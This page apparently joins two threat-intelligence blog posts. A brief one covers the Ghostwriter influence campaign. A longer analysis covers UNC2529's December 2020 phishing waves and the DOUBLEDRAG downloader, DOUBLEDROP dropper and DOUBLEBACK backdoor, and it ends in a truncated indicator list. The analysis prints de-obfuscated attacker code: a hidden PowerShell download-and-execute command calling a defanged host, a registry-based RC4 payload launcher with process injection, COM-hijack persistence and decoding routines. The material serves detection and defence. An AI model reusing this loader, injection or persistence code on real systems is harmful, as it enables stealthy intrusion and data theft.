Ghostwriter is a cyber-enabled influence campaign which primarily targets audiences in Lithuania, Latvia and Poland and promotes narratives critical of the North Atlantic Treaty Organization’s (NATO) presence in Eastern Europe.
Since releasing our public report, we have continued to investigate and report on Ghostwriter activity to Mandiant Intelligence customers.
We tracked new incidents as they happened and identified activity extending back years before we formally identified the campaign in 2020.
A new report by our Information Operations analysis, Cyber Espionage analysis, and Mandiant Research teams provides an update on Ghostwriter , highlighting two significant developments.
We have observed an expansion of narratives, targeting and TTPs associated with Ghostwriter activity since we released our July 2020 report.
For example, several recent operations have heavily leveraged the compromised social media accounts of Polish officials on the political right to publish content seemingly intended to create domestic political disruption in Poland rather than foment distrust of NATO.
These operations, conducted in Polish and English, appear to have largely not relied on the dissemination vectors we have typically observed with previous Ghostwriter activity, such as website compromises, spoofed emails or posts from inauthentic personas.
We have observed no evidence that these social media platforms were themselves in any way compromised, and instead believe account credentials were obtained using the compromised email accounts of targeted individuals.
Recently obtained technical evidence now allows us to assess with high confidence that UNC1151, a suspected state-sponsored cyber espionage actor that engages in credential harvesting and malware campaigns, conducts at least some components of Ghostwriter influence activity; current intelligence gaps, including gaps pertaining to website compromises and the operation of false personas, do not allow us to conclusively attribute all aspects of the Ghostwriter campaign to UNC1151 at this time.
We do not associate UNC1151 with any other previously tracked threat groups.
Since the start of 2021, UNC1151 has expanded its credential theft activity to target German politicians.
This targeting has been publicly reported in the German Tagesschau .
The appendices of the report include an exhaustive table of incidents and operations we currently associate with Ghostwriter activity, a detailed case study of a recent Ghostwriter operation, and indicators of compromise (IOCs) related to UNC1151.
Read the report today to learn more.
Subscribe to Blogs Get email updates as new blog posts are added.
In December 2020, Mandiant observed a widespread, global phishing campaign targeting numerous organizations across an array of industries.
Mandiant tracks this threat actor as UNC2529 .
Based on the considerable infrastructure employed, tailored phishing lures and the professionally coded sophistication of the malware, this threat actor appears experienced and well resourced.
This blog post will discuss the phishing campaign, identification of three new malware families, DOUBLEDRAG, DOUBLEDROP and DOUBLEBACK, provide a deep dive into their functionality, present an overview of the actor’s modus operandi and our conclusions.
A future blog post will focus on the backdoor communications and the differences between DOUBLEBACK samples to highlight the malware evolution.
UNC2529 Phishing Overview Mandiant observed the first wave of the phishing campaign occur on Dec. 2, 2020, and a second wave between Dec. 11 and Dec. 18, 2020.
During the initial flurry, Mandiant observed evidence that 28 organizations were sent phishing emails, though targeting was likely broader than directly observed.
These emails were sent using 26 unique email addresses associated with the domain tigertigerbeads<.>com, and in only a small number of cases did we see the same address used across multiple recipient organizations.
These phishing emails contained inline links to malicious URLs such as, hxxp://totallyhealth-wealth[.
]com/downld-id_mw<redacted>Gdczs, engineered to entice the victim to download a file.
UNC2529 employed at least 24 different domains to support this first, of a three-stage process.
The structure of URLs embedded in these phishing emails had the following patterns, where the string was an alphabetic variable of unknown function.
http://<fqdn>/downld-id_<string>
http://<fqdn>/downld-id-<string> http://<fqdn>/files-upload_<string> http://<fqdn>/files-upload-<string> http://<fqdn>/get_file-id_<string> http://<fqdn>/get_file-id-<string> http://<fqdn>/zip_download_<string> http://<fqdn>/zip_download-<string
>
The first stage payload downloaded from these URLs consisted of a Zip compressed file containing a corrupt decoy PDF document and a heavily obfuscated JavaScript downloader.
Mandiant tracks the downloader as DOUBLEDRAG.
Interestingly, the PDF documents were obtained from public websites, but corrupted by removing bytes to render them unreadable with a standard PDF viewer.
It is speculated that the victim would then attempt to launch the JavaScript (.js) file, which can be executed natively with Windows Script Host by simply double clicking on the file.
All but one of the file name patterns for the ZIP, PDF and JS files were document_<state>_client-id_<4 digit number>.extension, such as “document_Ohio_client-id_8902.zip”.
Each of the observed DOUBLEDRAG downloaders used in the first wave attempted to download a second-stage memory-only dropper, which Mandiant tracks as DOUBLEDROP, from either hxxp://p-leh[.
]com/update_java.dat or hxxp://clanvisits[.
]com/mini.dat.
The downloaded file is a heavily obfuscated PowerShell script that will launch a backdoor into memory.
Mandiant tracks this third-stage backdoor as DOUBLEBACK.
DOUBLEBACK samples observed during the phishing campaign beaconed to hxxps://klikbets[.
]net/admin/client.php and hxxps://lasartoria[.
]net/admin/client.php.
Prior to the second wave, observed between Dec. 11 and Dec. 18, 2020, UNC2529 hijacked a legitimate domain owned by a U.S. heating and cooling services company, modified DNS entries and leveraged that infrastructure to phish at least 22 organizations, five of which were also targeted in the first wave.
It is not currently known how the legitimate domain was compromised.
The threat actor used 20 newly observed domains to host the second-stage payload.
The threat actor made slight modifications to the URL pattern during the second wave.
http://<fqdn>/<string> http://<fqdn>/dowld_<string> http://<fqdn>/download_<string> http://<fqdn>/files_<string> http://<fqdn>/id_<string> http://<fqdn>/upld_<string>
Of note, the DOUBLEDRAG downloader observed in the first wave was replaced with a Microsoft Excel document containing an embedded legacy Excel 4.0 (XLM) macro in Excel 97-Excel 2003 Binary file format (BIFF8).
When the file was opened and the macro executed successfully, it would attempt to download a second-stage payload from hxxps://towncentrehotels[.
]com/ps1.dat.
The core functionality of the DOUBLEDRAG JavaScript file and the BIFF8 macro is to download a file from a hardcoded URL.
This Excel file was also found within Zip files, as seen in the first wave, although only one of the observed Zip files included a corresponding corrupt decoy PDF document.
Additional DOUBLEBACK samples were extracted from DOUBLEDROP samples uploaded to a public malware repository, which revealed additional command and control servers (C2), hxxps://barrel1999[.
]com/admin4/client.php, hxxps://widestaticsinfo[.
]com/admin4/client.php, hxxps://secureinternet20[.
]com/admin5/client.php, and hxxps://adsinfocoast[.
]com/admin5/client.php.
Three of these domains were registered after the observed second wave.
Tailored Targeting UNC2529 displayed indications of target research based on their selection of sender email addresses and subject lines which were tailored to their intended victims.
For example, UNC2529 used a unique username, masquerading as an account executive for a small California-based electronics manufacturing company, which Mandiant identified through a simple Internet search.
The username of the email address was associated with both sender domains, tigertigerbeads<.>com and the compromised HVAC company.
Masquerading as the account executive, seven phishing emails were observed targeting the medical industry, high-tech electronics, automotive and military equipment manufacturers, and a cleared defense contractor with subject lines very specific to the products of the California-based electronics manufacturing company.
Another example is a freight / transport company that received a phish with subject, “compton ca to flowery branch ga”, while a firm that recruits and places long-haul truck drivers received a simple, “driver” in the subject line.
A utility company received a phish with subject, “easement to bore to our stairwell area.”
While not all financial institutions saw seemingly tailored subjects, numerous appeared fairly unique, as shown in Table 1.
Subject Lure Wave re: <redacted> outdoors environment (1 out of 3) 1st accepted: follow up with butch & karen 1st
re: appraisal for <redacted> - smysor rd 2nd re: <redacted> financing 2nd Table 1: Sample financial industry subject lures Several insurance companies that were targeted saw less specific subjects, but still appropriate for the industry, such as those in Table 2.
Subject Lure Wave fw: certificate of insurance 1st
fw: insurance for plow 1st please get this information 1st question & number request 1st claim status 2nd applications for medicare supplement & part d 2nd Table 2: Sample insurance industry subject lures Interestingly, one insurance company with offices in eastern Texas received a phish with a subject related to a local water authority and an ongoing water project.
While no public information was found to tie the company to the other organization or project, the subject appeared to be very customized.
Some patterns were observed, as seen in Table 3.
Additionally, UNC2529 targeted the same IT services organization in both waves using the same lure (1 and 5 in Table 3).
Most of the phishing emails with lures containing “worker” targeted U.S. organizations.
As “worker” isn’t a common way to refer to an employee in the U.S., this may indicate a non-native American English speaker.
Subject Lure Wave dear worker, your work # ujcb0utczl 1st good day worker, your job number-
8ldbsq6ikd 1st
hello worker, your work number- u39hbutlsf 1st
good day candidate, your vacancy # xcmxydis4s 2nd
dear worker, your work # ujcb0utczl 2nd Table 3: Sample pattern subject lures Industry and Regional Targeting UNC2529’s phishing campaign was both global and impacted an array of industries (Industry and Regional Targeting graphics are greater than 100% due to rounding).
While acknowledging some telemetry bias, in both waves the U.S. was the primary target, while targeting of EMEA and Asia and Australia were evenly dispersed in the first wave, as shown in Figure 1.
Figure 1: UNC2529 phishing campaign, first wave
In the second wave, EMEA’s percentage increased the most, while the U.S. dropped slightly, and Asia and Australia remained at close to the same level, as illustrated in Figure 2.
Figure 2: UNC2529 phishing campaign, second wave Although Mandiant has no evidence about the objectives of this threat actor, their broad targeting across industries and geographies is consistent with a targeting calculus most commonly seen among financially motivated groups.
Technical Analysis Overview
The Triple DOUBLE malware ecosystem consists of a downloader (DOUBLEDRAG) (or alternatively an Excel document with an embedded macro), a dropper (DOUBLEDROP), and a backdoor (DOUBLEBACK).
As described in the previous section, the initial infection vector starts with phishing emails that contain a link to download a malicious payload that contains an obfuscated JavaScript downloader.
Once executed, DOUBLEDRAG reaches out to its C2 server and downloads a memory-only dropper.
The dropper, DOUBLEDROP, is implemented as a PowerShell script that contains both 32-bit and 64-bit instances of the backdoor DOUBLEBACK.
The dropper performs the initial setup that establishes the backdoor’s persistence on the compromised system and proceeds by injecting the backdoor into its own process (PowerShell.exe) and then executing it.
The backdoor, once it has the execution control, loads its plugins and then enters a communication loop, fetching commands from its C2 server and dispatching them.
One interesting fact about the whole ecosystem is that only the downloader exists in the file system.
The rest of the components are serialized in the registry database, which makes their detection somewhat harder, especially by file-based antivirus engines.
Ecosystem in Details DOUBLEDRAG Downloader component The downloader is implemented as a heavily obfuscated JavaScript code.
Despite the relatively large amount of the code, it boils down to the following snippet of code (Figure 3), after de-obfuscation.
\"C:\\Windows\\System32\\cmd.exe\" /c oqaVepEgTmHfPyC & Po^wEr^sh^elL -nop -w hidden -ep bypass -enc <base64_encoded_ps_code>
Figure 3: De-obfuscated JavaScript downloader The <base64_encoded_ps_code> downloads and executes a PowerShell script that implements the DOUBLEDROP dropper.
Note, that the downloaded dropper does not touch the file system and it is executed directly from memory.
A sanitized version of the code, observed in the first phishing wave, is shown in Figure 4.
IEX (New-Object Net.
Webclient).downloadstring(\"hxxp://p-leh[.
]com/update_java.dat\") Figure 4: Downloading and executing of the DOUBLEDROP dropper DOUBLEDROP Dropper component Overview
The dropper component is implemented as an obfuscated in-memory dropper written in PowerShell.
Two payloads are embedded in the script—the same instances of the DOUBLEBACK backdoor compiled for 32 and 64-bit architectures.
The dropper saves the encrypted payload along with the information related to its decryption and execution in the compromised system’s registry database, effectively achieving a file-less malware execution.
Setup The dropper's main goal is to serialize the chosen payload along with the loading scripts into the compromised system's registry database and to ensure that the payload will be loaded following a reboot or a user login (see the Persistence Mechanism section).
In order to do so, the dropper generates three pseudo-random GUIDs and creates the registry keys and values shown in Figure 5.
* HK[CU|LM]\\Software\\Classes\\CLSID\\{<rnd_guid_0>}
* key:
LocalServer * value: <default> * data: <bootstrap_ps_code> * key: ProgID * value: <default> * data: <rnd_guid_1> * value: <last_4_chars_of_rnd_guid_0> * data: <encoded_loader> * key: VersionIndependentProgID * value: <default> * data: <rnd_guid_1> * value: <first_4_chars_of_rnd_guid_0> * data: <encoded_rc4_key>
* value: <last_4_chars_of_rnd_guid_0> * data: <rc4_encrypted_payload> * HK[CU|LM]\\Software\\Classes\\{<rnd_guid_1>} * value: <default> * data: <rnd_guid_1>
* key:
CLSID * value: <default> * data: <rnd_guid_0>
* HK[CU|LM]\\Software\\Classes\\CLSID\\{<rnd_guid_2>}
* value: <default> * data: <rnd_guid_1>
* key:
TreatAs * value: <default> * data: <rnd_guid_0>
Figure 5:
Registry keys and values created by the dropper Once the registry keys and values are created, the dropper dynamically generates the bootstrap and the launcher PowerShell scripts and saves them under the {<rnd_guid_0>} registry key as shown in Figure 5.
Additionally, at this point the dropper generates a random RC4 key and encodes it inside a larger buffer which is then saved under the VersionIndependentProgID key.
The actual RC4 key within the buffer is given by the following calculations, shown in Figure 6 (note that the key is reversed!
).
<relative_offset> = buffer[32] buffer[32 + <relative_offset> + 1] = <reversed_rc4_key> Figure 6:
Encoding of the RC4 key
Finally, the dropper encrypts the payload using the generated RC4 key and saves it in the respective value under the VersionIndependentProgId registry key (see Figure 5).
At this point all the necessary steps that ensure the payload's persistence on the system are complete and the dropper proceeds by directly executing the launcher script, so the backdoor receives the execution control immediately.
The persistence mechanism, the bootstrap, and the launcher are described in more details in the following sections.
Persistence Mechanism The persistence mechanism implemented by the DOUBLEDROP sample is slightly different depending on whether the dropper has been started within an elevated PowerShell process or not.
If the dropper was executed within an elevated PowerShell process, it creates a scheduled task with an action specified as TASK_ACTION_COM_HANDLER and the class ID - the {<rnd_guid_2>} GUID (See Figure 5).
Once executed by the system, the task finds the {<rnd_guid_2>} class under the HKLM\\Software\\Classes\\CLSID registry path, which in this case points to an emulator class via the TreatAs registry key.
The {<rnd_guid_0>} emulator class ID defines a registry key LocalServer and its default value will be executed by the task.
If the dropper is started within a non-elevated PowerShell process, the sequence is generally the same but instead of a task, the malware hijacks one of the well-known classes, Microsoft PlaySoundService ({2DEA658F-54C1- 4227-AF9B-260AB5FC3543}) or MsCtfMonitor ({01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}), by creating an associated TreatAs registry key under their definition in the registry database.
The TreatAs key's default registry value points to the {<rnd_guid_0>} emulator class essentially achieving the same execution sequence as in the elevated privilege case.
Bootstrap The bootstrap is implemented as an obfuscated PowerShell script, generated dynamically by the dropper.
The content of the code is saved under the emulator's class LocalServer registry key
and it is either executed by a dedicated task in case of a privileged PowerShell process or by the operating system that attempts to load the emulator for the PlaySoundService or
MsCtfMonitor classes.
The bootstrap code finds the location of the launcher script, decodes it and then executes it within the same PowerShell process.
A decoded and sanitized version of the script is shown in Figure 7.
$enc =
[System.
Text.
Encoding]::UTF8; $loader =
Get-ItemProperty -Path($enc.
GetString([Convert]::FromBase64String('<base64_encoded_path_to_launcher>')))
-n '<launcher_reg_val>' | Select-Object -ExpandProperty '<launcher_reg_val>'; $xor_val = <
xor_val>; iex( $enc.
GetString($( for ($i = 0; $i -lt $loader.
Length; $i++) { if ($xor_val -ge 250) { $xor_val = 0 } $loader[$i] -bxor $xor_val; $xor_val += 4 } )) )
Figure 7:
De-obfuscated and sanitized bootstrap code Note that the actual values for <base64_encoded_path_to_launcher> , <launcher_reg_val> , and <xor_val> are generated on the fly by the dropper and will be different across the compromised systems.
The encoding of the launcher is implemented as a simple rolling XOR that is incremented after each iteration.
The following code snippet (Figure 8) could be used to either encode or decode the launcher, given the initial key.
def encdec(src, key): out = bytearray() for b in src: if key >= 250: key = 0
out.append(b ^ key) key += 4 return out Figure 8: Algorithm to Decode the Launcher Once the launcher is decoded it is executed within the same PowerShell process as the bootstrap by calling the iex (Invoke-Expression) command.
Launcher The launcher responsibility, after being executed by the bootstrap code, is to decrypt and execute the payload saved under the VersionIndependentProgID registry key.
To do so, the launcher first decodes the RC4 key provided in the <first_4_chars_of_rnd_guid_0> value (see Figure 5) and then uses it to decrypt the payload.
Once the payload is decrypted, the launcher allocates virtual memory enough to house the image in memory, copies it there, and finally creates a thread around the entry point specified in the dropper.
The function at that entry point is expected to lay the image in memory, to relocate the image, if necessary, to resolve the imports and finally—to execute the payload's entry point.
A sanitized and somewhat de-obfuscated version of the launcher is shown in Figure 9.
function DecryptPayload { param($fn7, $xf7, $mb5) $fn1 = Get-ItemProperty -Path $fn7 -n $mb5 | Select-Object -ExpandProperty $mb5; $en8 = ($fn1[32] + (19 + (((5 - 2) + 0) + 11))); $ow7 = $fn1[$en8..($en8 + 31)]; [array]::Reverse($ow7); $fn1 =
Get-ItemProperty -Path $fn7 -n $xf7 | Select-Object -ExpandProperty $xf7; $en8 = { $xk2 = 0
..255; 0..255 | % { $wn4 =
($wn4 + $xk2[$_] + $ow7[$_ % $ow7.Length])
% (275 - (3 + (11 + 5)));
$xk2[$_], $xk2[$wn4] = $xk2[$wn4], $xk2[$_] }; $fn1 | % { $sp3 = ($sp3 + 1) % (275 - 19); $si9 = ($si9 + $xk2[$sp3]) % ((600 - 280) - 64); $xk2[$sp3], $xk2[$si9] = $xk2[$si9], $xk2[$sp3]; $_-bxor$xk2[($xk2[$sp3] + $xk2[$si9]) % (343 - ((1 + 0) + 86))] } }; $ry6 = (& $en8 | foreach-object { '{0:X2}' -f $_ }) -join ''; ($(for ($sp3 = 0; $sp3 -lt $ry6.Length; $sp3 += 2) { [convert]::ToByte($ry6.Substring($sp3, 2), (17 - ((1 + 0)))) } ) ) } function ExecuteApi { param($fn7, $xf7)
$vy9 =
[AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.
Reflection.
AssemblyName('?RND?
')),
[System.
Reflection.
Emit.
AssemblyBuilderAccess]::Run).DefineDynamicModule('?RND?
', $false).DefineType('?RND?
', 'Class,Public,Sealed,AnsiClass,AutoClass', [System.
MulticastDelegate]); $vy9.DefineConstructor('RTSpecialName,HideBySig,Public', [System.
Reflection.
CallingConventions]::Standard, $fn7).SetImplementationFlags('Runtime,Managed'); $vy9.DefineMethod('Invoke', 'Public,HideBySig,NewSlot,Virtual', $xf7, $fn7).SetImplementationFlags('Runtime,Managed'); $vy9.CreateType() } function GetProcAddress { param($fn7) $fq3 = ([AppDomain]::CurrentDomain.
GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -and $_.Location.
Split('\\\\')[-1].Equals('System.dll') }).GetType('Microsoft.
Win32.UnsafeNativeMethods'); $lr3 = New-Object System.
Runtime.
InteropServices.
HandleRef((New-Object IntPtr), ($fq3.GetMethod('GetModuleHandle').Invoke(0, @('kernel32.dll')))); $fq3.GetMethod('GetProcAddress', [reflection.bindingflags] 'Public,Static', $null, [System.
Reflection.
CallingConventions]::Any, @((New-Object System.
Runtime.
InteropServices.
HandleRef).GetType(), [string]), $null).Invoke($null, @([System.
Runtime.
InteropServices.
HandleRef]$lr3, $fn7)) } $decryptedPayload = DecryptPayload 'hklm:\\software\\classes\\CLSID\\<rnd_guid_0>\\VersionIndependentProgID' '<reg_val_payload>' '<reg_val_rc4_key>'; function InjectPayload { param($payload, $payloadLen, $entryPoint, $access) $mem =
[System.
Runtime.
InteropServices.
Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'VirtualAllocEx'), (ExecuteApi @([IntPtr], [IntPtr], [IntPtr], [int], [int])([Intptr]))).invoke(-1, 0, $payloadLen, 0x3000, $access); [System.
Runtime.
InteropServices.
Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'RtlMoveMemory'), (ExecuteApi @([IntPtr], [byte[]], [UInt32])([Intptr]))).invoke($mem, $payload, $payloadLen); $mem = New-Object System.
Intptr -ArgumentList $($mem.
ToInt64() + $entryPoint); [System.
Runtime.
InteropServices.
Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'CreateThread'), (ExecuteApi @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([Intptr]))).invoke(0, 0, $mem, 0, 0, 0); Start-Sleep -s
(((2673 - 942) + 1271)) } # 0x36dc =
Loader Entry Point, rva # 0x40 =
PAGE_EXECUTE_READWRITE InjectPayload $decryptedPayload $decryptedPayload.length 0x36dc 0x40 Figure 9:
De-obfuscated and sanitized launcher script DOUBLEBACK Backdoor component Overview
The observed DOUBLEDROP instances contain a well-designed backdoor implemented as a 32 or 64-bit PE dynamic library which we track as DOUBLEBACK.
The backdoor is initially mapped into the same PowerShell process started by the bootstrap script, but it will then inject itself into a msiexec.exe process if certain conditions are met.
By design, the core of the backdoor functionality is intended to be executed after injected into a newly spawned msiexec.exe process.
In contrast with other backdoors DOUBLEBACK does not have its services hardcoded and the functionality is expected to be implemented as plugins that are expected to be serialized in the registry database under a host-specific registry path.
That way, the backdoor can be configured to implement a flexible set of services depending on the target.
With all the common functionality implemented as plugins, the backdoor’s main goal is to establish a communication framework ensuring data integrity between the C2 server and the appropriate plugins.
Details The backdoor starts by retrieving its process name and ensures that it is either powershell.exe or msiexec.exe.
In all other cases, the malware will immediately terminate itself.
Normally, when first started on the system, the backdoor will be injected into the same PowerShell process that executes both the bootstrap code and the launcher.
In that mode the malware may spawn (depending on certain conditions) a msiexec process and injects itself into it.
More details about the logic implemented in the PowerShell and the msiexec branches are provided in the following sections.
Next, the backdoor ensures that it is the only DOUBLEBACK instance currently executing on the compromised system.
To do that, the malware generates a host-based pseudo-unique GUID and uses it as a mutex name.
The algorithm first generates a pseudo-unique host identifier that is based on the system volume's serial number and a hardcoded salt value, as shown in Figure 10.
# oberserved salt =
0x436ea76d def gen_host_id(vol_ser_num, salt): salted_val =
(vol_ser_num + salt) & 0xffffffff md5 = hashlib.md5(bytes(salted_val.to_bytes(4, 'little')))
second_dword = struct.unpack('<i', md5.digest()[4:8])[0] return (salted_val + second_dword) & 0xffffffff Figure 10:
Host ID generation algorithm Next, the malware passes the generated host ID to another algorithm that generates a pseudo-unique GUID based on the input, as shown in Figure 11.
# src is the host ID def gen_guid(src): b = bytearray() xor =
0xaabbccdd for _ in range(4): b += src.to_bytes(4, byteorder='little') src ^= xor xor =
(xor + xor) & 0xffffffff return uuid.
UUID(bytes_le=bytes(b))
Figure 11: GUID generation algorithm Once the GUID is generated the malware formats it as Global\\{ <guid> } and attempts to open a mutex with that name.
In case the mutex is already created the backdoor assumes that another instance of itself is already running and terminates itself.
Otherwise, the backdoor creates the mutex and branches out depending on the detected process it currently mapped into.
Executing Within the PowerShell Process The initial state of the backdoor execution is when it is mapped into a PowerShell process created by the bootstrap code.
In this mode, the backdoor attempts to relocate itself into a new instance of msiexec.exe.
Before the injection is attempted, the backdoor enumerates the running processes looking for Kaspersky Antivirus (avp.exe, avpui.exe) or BitDefender (bdagent.exe, bdservbdagent.exe, bdservicehost.exe) engines.
This part of the functionality seems to be a work in progress because the malware ignores the fact if the Kaspersky software is detected but it will not attempt injecting into the msiexec.exe process in case BitDefender is found running on the compromised system.
In the latter case, the backdoor's main functionality will be executed inside the same PowerShell process and no new instance of msiexec.exe will be created.
The injection process involves finding the backdoor's image under the appropriate registry key.
Note, that the backdoor instance we have observed in the first wave does not handle situations when the malware ecosystem is installed as an administrator—such cases would end up with the backdoor not able to locate its image for injecting.
In all other cases, the malware starts with the well-known class GUIDs of the PlaySoundService and MsCtfMonitor classes and attempts to find which of them has the TreatAs registry key under their definition.
Once the TreatAs key is found, its default registry value points to the registry key that has the RC4-encrypted backdoor image and the encoded RC4 key both described in the previous section of the post.
With the backdoor image loaded in memory and decrypted, the malware spawns a suspended process around msiexec.exe and inject its image into it.
The backdoor PE file exports a single function that is used to lay down its own image in memory and execute its DllMain entry point.
The export function allocates the needed memory, relocates the image, if needed, resolves the imports and finally executes the backdoor’s DllMain function.
At this point the backdoor is running inside the hijacked msiexec.exe and the instance inside the PowerShell process terminates itself.
Executing as Injected in the msiexec.exe Process Overview
The DOUBLEBACK backdoor executes its main functionality while injected in a dedicated msiexec.exe process (provided BitDefender AV is not found running on the system).
The main logical modules of the backdoor are its configuration, plugin management, and communications.
In the following sections we will describe the first two, while a future blog post will focus on the communications and the evolution of the backdoor.
Configuration The backdoor uses an embedded configuration that contains the C2 URLs and a key (more about the key in the second part of the post).
The configuration data is formatted as shown in Figure 12.
struct tag_config_header_t { uint32_t xor_val_1; uint32_t xor_val_2; uint32_t xor_val_3; uint32_t xor_val_4; } config_header_t; struct tag_config_t { config_header_t header; uint8_t encoded_config[]; } config_t; Figure 12:
Encoded configuration format The length of the encoded_config data is provided by the XOR-ing of the xor_val_1 and xor_val_2 fields of the config_header_t structure.
The config_t.encoded_config blob can be decoded by XOR-ing the data with the config_header_t.xor_val_1.
The decoded configuration data consists of a comma-separated list of URLs followed by a key that is used in the communication module.
The first two bytes specify the lengths of the comma-separated URL list and the key, respectively.
The URLs in the observed samples follow the pattern shown in Figure 13.
https://<server>/admin<n>/client.php Figure 13:
Observed C2 URL pattern The initial sample did not have any value for <n> but the samples after that were observed to use <n> equal to 4 or 5.
Plugin Management The backdoor's core functionality is implemented via plugins designed as PE Windows dynamic libraries.
The plugins, as with the other backdoor components, are also saved in the registry database under a host-specific registry key.
The full path to the plugins location is formatted as HK[LM|CU]:\\Software\\Classes\\CLSID\\{ <plugins_home_guid> }, where <plugins_home_guid> is generated by the GUID algorithm shown in Figure 11 with a host-specific value we call implant ID which is used not only to generate the path to the plugins but with the backdoor’s C2 communications and it is also passed as a parameter to each of the plugins during their initialization.
The implant ID is generated by seeding the Linear Congruential Generator (LCG) algorithm, shown in Figure 14, with the host ID and the <max_range> value is set to 0x54c5638.
The value generated by the LCG is then added to 0x989680 and the result serves as the implant ID.
def lcg(max_range): global seed if seed == 0: seed = get_RDTSC()
n =
(0x7fffffed * seed + 0x7fffffc3) & 0xffffffff val = n % max_range seed = n return val Figure 14:
Linear Congruential Generator used by the backdoor The backdoor enumerates all the registry values under the plugins home location (the registry value names are insignificant) and expects each of the plugins to be formatted, as shown in Figure 15.
struct tag_plugin_header_t { uint32_t xor_val; uint32_t param_2; the second parameter of the pfn_init uint32_t len_1; uint32_t len_2; uint32_t pfn_init; uint32_t pfn_cleanup; uint32_t param_3; the third parameter of the pfn_init uint32_t unused; } plugin_header_t; struct tag_plugin_t { plugin_header_t header; uint8_t encoded_plugin[]; } plugin_t; Figure 15: Encoded plugins format As shown in Figure 15, the plugin data starts with a 32-byte long header followed by the encoded plugin DLL.
The plugin encoding is implemented as a combination of rolling DWORD/BYTE XOR with initial value specified by the plugin_header_t.xor_val value.
The plugin_header_t.len_1 stores the number of DWORDS to be decoded with plugin_header_t.xor_val which is incremented by 4 after each iteration.
The plugin_header_t.len_2 specifies the number of bytes to be decoded at the current position after the previous operation with the current value of the plugin_header_t.xor_val (only the least significant byte is taken).
In this mode the plugin_header_t.xor_val value is incremented by one after each iteration.
The plugins are expected to export at least two functions—one for initialization and another to clean up the resources before unloading.
The initialization routine takes four parameters—two from the header and two calculated by the backdoor, as shown Figure 16.
pfn_init(implant_id, plugin_header_t.param_2, plugin_header_t.param_3, p_plugin_image_in_memory) Figure 16:
Plugins initialization routine prototype The current backdoor's implementation provides support for up to 32 plugins with each of them mapped and initialized in the backdoor's process space.
Additional Notes
The first backdoor instance we observed back in December 2020 was a stable and well-written code, but it was clearly a work in progress.
For example, the early instance of the malware spawns a thread to secure delete the DOUBLEDROP dropper from disk which indicates that an earlier variant of this malware launched a copy of the dropper from the file system.
The dropper would save its current location on disk in the default registry value under the HK[LM|CU]:\\Software\\Classes key.
The backdoor spawns a dedicated thread that retrieves the dropper’s path and then proceeds to overwrite the image on disk with 0x00, 0xFF, and a randomly generated byte before deleting the dropper from the file system.
Additionally, the early instance of the backdoor, as mentioned, would not handle the situations when an elevated PowerShell process is used.
The dropper would use a scheduled task in that case with the relevant registry keys created under the HKLM hive but the backdoor does not support that case and will not be able to find its image under the specific key in order to inject itself into the msiexec.exe process.
Finally, the backdoor would output debug information in a few cases using the OutputDebugString API.
Interestingly, the format and the generation of the log message is the same as the one used in the publicly available PEGASUS code ( preliminary technical analysis: Pegasus Malware Source Code ).
The PEGASUS backdoor is distributed with modules that allow it to manipulate files generated by common Russian payment processing software that is used to assess and process VAT refunds.
When executed on a workstation running targeted software, the malware can attempt to add VAT to transactions that are normally exempt and directs associated tax refunds to attacker-controlled bank accounts.
Conclusion Considerable resources were employed by UNC2529 to conduct their December phishing campaign.
Almost 50 domains supported various phases of the effort, targets were researched, and a legitimate third-party domain was compromised.
The threat actor made extensive use of obfuscation and fileless malware to complicate detection to deliver a well coded and extensible backdoor.
UNC2529 is assessed as capable, professional and well resourced.
The identified wide-ranging targets, across geography and industry suggests a financial crime motive.
DOUBLEBACK appears to be an ongoing work in progress and Mandiant anticipates further actions by UNC2529 to compromise victims across all industries worldwide.
Technical Indicators DOUBLEDRAG /
BIFF8 Files MD5 Role Wave 39fc804566d02c35f3f9d67be52bee0d DOUBLEDRAG 1 st 44f7af834ee7387ac5d99a676a03cfdd DOUBLEDRAG 1 st 4e5583e34ad54fa7d1617f400281ba56 PDF Decoy 1 st e80dc4c3e26deddcc44e66bb19b6fb58 PDF Decoy 1 st 169c4d96138d3ff73097c2a9aab5b1c0 Zip 1 st e70502d020ba707095d46810fd32ee49 Zip 1 st 62fb99dc271abc104504212157a4ba91 Excel BIFF8 macro 2 nd 1d3fcb7808495bd403973a0472291da5 PDF Decoy 2 nd 6a1da7ee620c638bd494f4e24f6f1ca9 Zip 2 nd a28236b43f014c15f7ad4c2b4daf1490 Zip 2 nd d594b3bce66b8b56881febd38aa075fb Zip 2 nd Domains Dec. 2, 2020 Wave Dec. 11 to 18, 2020 Wave adupla[.
]net aibemarle[.
]com ceylonbungalows[.
]net bestwalletforbitcoin[.
]com
chandol[.
]com bitcoinsacks[.
]com
closetdeal[.
]com
digitalagencyleeds[.
]com
daldhillon[.
]com
erbilmarriott[.
]com desmoncreative[.
]com ethernetpedia[.
]com farmpork[.
]com fileamazon[.
]com gemralph[.
]com gamesaccommodationscotland[.
]com isjustlunch[.
]com greathabibgroup[.
]com logicmyass[.
]com infomarketx[.
]com lottoangels[.
]com
jagunconsult[.
]com
mangoldsengers[.
]com khodaycontrolsystem[.
]com oconeeveteransmemorial[.
]com maninashop[.
]com scottishhandcraft[.
]com onceprojects[.
]com seathisons[.
]com simcardhosting[.
]com skysatcam[.
]com
stayzarentals[.
]com smartnhappy[.
]com touristboardaccommodation[.
]com stepearn[.
]com towncentrehotel[.
]com sugarmummylove[.
]com vacuumcleanerpartsstore[.
]com
techooze[.
]com zmrtu[.
]com tigertigerbeads[.
]com totallyhealth-wealth[.
]com towncenterhotel[.
]com uaeworkpermit[.
]com
DOUBLEDROP MD5 4b32115487b4734f2723d461856af155 9e3f7e6697843075de537a8ba83da541 cc17e0a3a15da6a83b06b425ed79d84c URLs hxxp://p-leh[.
]com/update_java.dat hxxp://clanvisits[.
]com/mini.dat hxxps://towncentrehotels[.
]com/ps1.dat DOUBLEBACK MD5 1aeecb2827babb42468d8257aa6afdeb
1bdf780ea6ff3abee41fe9f48d355592 1f285e496096168fbed415e6496a172f 6a3a0d3d239f04ffd0666b522b8fcbaa ce02ef6efe6171cd5d1b4477e40a3989 fa9e686b811a1d921623947b8fd56337 URLs hxxps://klikbets[.
]net/admin/client.php hxxps://lasartoria[.
]net/admin/client.php hxxps://barrel1999[.
]com/admin4/client.php hxxps://widestaticsinfo[.
